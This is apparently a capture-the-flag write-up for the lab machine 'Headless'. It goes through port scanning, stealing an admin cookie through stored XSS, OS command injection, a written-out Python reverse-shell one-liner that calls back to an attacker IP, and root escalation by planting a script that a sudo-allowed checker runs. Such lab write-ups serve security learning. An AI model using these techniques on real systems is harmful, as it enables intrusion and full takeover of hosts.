Machine name | OS | IP | Difficulty |
---|---|---|---|
Headless | Linux | 10.10.11.8 | Easy |
User
- Check if the host is responsive
First, let's verify that we can reach the host using a simple ping
command:
└─# ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=116 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=113 ms
- Check the running services
Let's check all running services and their versions using the nmap
command:
└─# nmap -sV -sC 10.10.11.8 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.10.11.8
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Tue, 23 Jul 2024 14:15:43 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=7/23%Time=669FBB0F%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.11\.2\r\nDate:\x20Tue,\x2023\x20Jul\x202024\x2014:15:43\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Z
SF:fs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\
SF:x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construct
SF:ion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20b
SF:ody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\
SF:x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20di
SF:splay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justif
SF:y-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x20
SF:0,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYP
SF:E\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x
SF:20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20resp
SF:onse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20vers
SF:ion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\
SF:x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x
SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.34 seconds
-sV
- to get services with their versions.-sC
- to use default scripts.-Pn
- to skip the ping (as we already checked it in the first step).
The output shows that there are 2 running services with opened ports:
- Port
5000
- unknown service, but it looks like HTTP. - Port
22
- running an OpenSSH server version 9.2p1.
The operating system of the machine is, of course, Linux (probably Debian, based on the OpenSSH version; we will verify this later).
- Check the web application on port
5000
└─# whatweb 10.10.11.8:5000
http://10.10.11.8:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.10.11.8], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]
Using the whatweb
tool, we are able to determine the technologies used to build the web application. Here are the two main technologies identified:
Python
version 3.11.2 - programming language.Werkzeug
version 2.2.2 - Web Server Gateway Interface.
Going through the application, there are 2 endpoints:
http://10.10.11.8:5000/
- The main page has nothing interesting; it appears to be still under development.http://10.10.11.8:5000/support
- Page with a form, let's try to add some inputs. It appears there is some type of filter or WAF. As the message states,Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
, the browser information has been sent to the administrators for investigation. What if there is a client-side vulnerability, allowing us to send a malicious payload to the administrator? Let's try it.
| NOTE: If the administrator sees the same page as we do, the parameters from the body are not displayed, only the header. We need to inject the payload into a header. The User-Agent
is a good candidate because it can be changed and does not impacts processing the request.
- Testing for client-side vulnerabilities
First, we need to start a server to listen for incoming requests:
python3 -m http.server 18000
And now, we can try sending a malicious payload:
| NOTE: We need to send malicious input in the body parameters to trigger the Hacking Attempt Detected
page.
And we received a request:
So we know that there is an administrator on the other side who reviews reports, and there is a client-side vulnerability — stored XSS. We can use this to steal the cookie.
- Stealing the cookie
We need to start a server to listen for incoming requests as we did in step 4:
python3 -m http.server 18000
Send the malicious payload:
And we have obtained the cookie is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
:
But where do we go now? We need to find something that only an admin can do.
- Finding admin's features
Using feroxbuster
tool, we can fuzz the path:
└─# feroxbuster -u http://10.10.11.8:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --depth 1 --filter-status 404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.4
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.8:5000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.4
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 1
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 93l 179w 2363c http://10.10.11.8:5000/support
200 GET 96l 259w 2799c http://10.10.11.8:5000/
500 GET 5l 37w 265c http://10.10.11.8:5000/dashboard
[####################] - 3m 30001/30001 0s found:3 errors:0
[####################] - 3m 30000/30000 194/s http://10.10.11.8:5000/
There is a new endpoint, http://10.10.11.8:5000/dashboard
, which appears to be authorized only for administrators:
However, we have an administrator's cookie. So let's investigate further.
- Dashboard endpoint
There is a single endpoint that checks the health of the system with only one parameter, date
. The application needs to check if it is alive and if the ports are open, so we can assume it's using the shell. Let's try OS Command Injection
.
- OS Command Injection
We need to start a server to listen for incoming requests:
python3 -m http.server 18000
And send the malicious payload: The incoming request is logged:
There is an OS Command Injection
vulnerability; let's create a reverse shell.
- Reverse shell
Start the listener:
nc -lvnp 8888
I like Python, so using it, we can call our listener:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
And we got a reverse shell:
| NOTE: An excellent tool for generating reverse shell payloads is the Reverse Shell Generator.
- User flag
User flag is in /home/dvir/user.txt
Root
- Enhance the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z
stty raw -echo; fg
export TERM=xterm
This enhancement allows the shell to support command completion, use CTRL+C
to interrupt the current process, and makes copy-pasting much more user-friendly.
- Put some useful tools on the server
linenum
- LINENUM - used for local information enumeration.linpeas
- LINPEAS - used for finding ways to escalate the privileges.pspy
- PSPY - used for snoop on processes.
- Checking
sudo
By executing sudo -l
to check what commands we can run with sudo
, we get:
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Interesting, what's inside /usr/bin/syscheck
? Let's find out.
- Investigating
syscheck
The entire script looks like:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
The script calls the initdb.sh
script, which should be located in the directory where the command is executed. However, the script is not there. The command /usr/bin/pgrep
looks for processes with an exact match (-x
) for initdb.sh
. If we run the command /usr/bin/pgrep -x "initdb.sh"
, the output is empty. Therefore, we can create an initdb.sh
script, include any content we want, and syscheck
will execute it as root
(because the user can run /usr/bin/syscheck
with sudo
).
- Getting the
root
shell
We create an initdb.sh
script and put the following inside:
#!/bin/bash
/bin/bash
By calling:
sudo /usr/bin/syscheck
we will spawn a new shell as the root user! The flag is located inside /root/root.txt
.
Assumptions verifications
- Running OS
We assumed, based on the OpenSSH version, that the running OS is Debian
. Let's verify it using the uname -a
and cat /etc/os-release
commands:
dvir@headless:~/app$ uname -a
Linux headless 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Lin
ux
dvir@headless:~/app$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Running OS - Debian 12
.